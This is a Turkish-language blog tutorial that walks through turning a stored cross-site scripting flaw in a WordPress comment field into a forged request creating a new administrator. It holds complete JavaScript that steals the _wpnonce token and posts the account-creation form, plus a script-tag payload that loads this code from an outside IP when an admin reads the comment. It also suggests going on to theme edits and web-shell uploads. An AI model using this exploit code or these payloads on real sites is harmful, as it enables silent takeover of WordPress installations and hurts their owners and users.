30 Mart 2018 Cuma

XSS to CSRF

Merhaba arkadaşlar bu yazımı wordpress üzerinde anlatacağım. Wordpress üzerindeki basit bir xss'i csrf ye dönüştürüp yeni bir yönetici eklemeyi göstereceğim.

CSRF - CROSS SITE REQUEST FORGERY
(Kullanıcının isteği dışında ve haberi olmadan dışarıdan müdahale)

Bildiğiniz gibi wordpress'in csrf saldırılarına önlem olarak kullanıcı için oluşturduğu bir token vardır ve bu token'in sayfadaki input id'si _wpnonce'tur.
Gelen isteklerde bu token üretilenle uyuşmazsa işlem gerçekleştirilmez.
Biz saldırıda wpnonce token'ını javascript ile alıp kendi post'umuzu yöneticinin haberi olmadan göndereceğiz.

Bu istek normal şartlar altında SOP önleminden dolayı yapamayacağımız bir istek ancak burada XSS açığımızdan faydalanacağız. Bu sayede SOP önlemini bypasslamış olacağız.
Bunun için XmlHttpRequest'i kullanacağız.
(XmlHttpRequest same-origin policy'dan dolayı  sadece aynı domaine istek gönderir.)
site = "http://localhost/wordpress";
kadi="batu";
sifre="diaryofinjector";
eposta="batu@diaryofinjector.com";
xhr = new XMLHttpRequest();
xhr.open("GET",site + "/wp-admin/user-new.php",true);
xhr.onreadystatechange=function() {
    if (xhr.readyState==4) {
            response=xhr.responseText;
            wtoken=response.split('hidden" id="_wpnonce')[1];
            wtoken=wtoken.split('"')[4];
            xhr.open("POST", site + "/wp-admin/user-new.php",true);
            xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

verigonder="action=createuser&_wpnonce_create-user=" + wtoken + "&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&user_login="+ kadi + "&first_name=&last_name=&email=" +
eposta + "&url=&pass1=" + sifre + "&pass1-text=" + sifre + "&pass2=" + sifre + "&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User"
   xhr.setRequestHeader("Content-Length",verigonder.length);
    xhr.send(verigonder);
    }
}
xhr.send(null); 

Kodumuz şu şekilde çalışıyor 
site, kadi, sifre, eposta şeklinde değerler tanımladık kod çalışmaya başladığı zaman şunlar gerçekleşir;

1-Wordpress yönetim paneline get gönderir
2-O anki yöneticinin _wpnonce(token değerini inputtan alır)
3-Ardından post işlemi yani yönetici ekleme işlemini başlatır.

Şimdi wordpress temasının yorum kısmındaki stored xss'imize bakalım 
<h1> deniyorum;















   
Sonuç Başarılı









Şimdi sıra geldi javascript kodumuzu src ile buraya çekmeye. 
Js yi çektikten sonra admin yorumu okur okumaz direk olarak panele batu adında yönetici oluşturacak.
<script src=//ip/ekle.js></script>
















Gönderdik.







Yönetici yorumu okuduğu zaman direk batu adında bir admin ekleyecek.






Tabi yönetici eklemek sadece bir örnek. Daha ileri saldırılar düzenleyip doğrudan temayı da editleyebilirsiniz. Hatta plugin içerisinde web shell bile yükletebilirsiniz. JS ile doğrudan raw http istekleri yaptırabilirsiniz. Buna multipart-form-data da dahil.


XSS ile yapılabilecek saldırılarda Cookie çalmaktan sonraki bir üst seviye saldırılar bu şekilde yapılabilir. Aynı zamanda httpOnly cookie türlerinden dolayı Cookie çalınamayan durumlarda bu tarz saldırılar düzenlenebilir. Tabi erişim izniniz olmayan (ip filtreli vs.) sayfalarda da bu saldırı geçerli olacaktır.

Bir sonraki yazımızda XSS ile http proxy tunneling saldırısını anlatacağım.
Önceki XSS yazılarımıza ise aşağıdan ulaşabilirsiniz:
http://www.diaryofinjector.com/search/label/XSS
Sonraki yazımızda görüşmek üzere ;)
İyi Günler